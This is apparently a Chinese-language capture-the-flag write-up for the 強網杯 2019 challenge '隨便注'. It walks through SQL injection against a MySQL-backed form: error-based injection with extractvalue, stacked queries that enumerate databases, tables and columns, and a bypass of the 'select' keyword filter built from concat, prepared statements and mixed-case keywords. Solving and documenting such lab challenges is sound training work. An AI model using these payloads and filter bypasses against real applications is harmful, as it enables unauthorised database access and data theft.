[強網杯 2019]隨便注

一只本本發表於2024-11-11


輸入1',發現報錯,且閉合符號為單引號

那麼我們可以嘗試報錯注入,先用order by確認回顯列數。這裡回顯列數為2
用union確認回顯位置,1 union select 1,2,發現這些字元被過濾了,嘗試了大小寫也不行,直接猜吧。

這裡可以用報錯注入,1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#,得到當前資料庫為supersqli

之後使用堆疊注入執行命令列查詢資料庫,表,列等等。得到flag在supersqli的1919810931114514表裡,payload如下:

1';show databases;
1';show tables from supersqli;
1';show columns from `1919810931114514`;


根據前面我們知道,select關鍵詞被過濾了,大小寫也是不行的哦。這裡我們可以使用預編譯結合concat函式將語句合併,實現執行查詢

-1';set @sql=concat('sel','ect 1,2');prepare stmt from @sql;execute stmt


發現有關鍵詞匹配,不能有set和prepare,這個可以使用大小寫繞過。

-1'; sEt @sql=concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#

得到flag

相關文章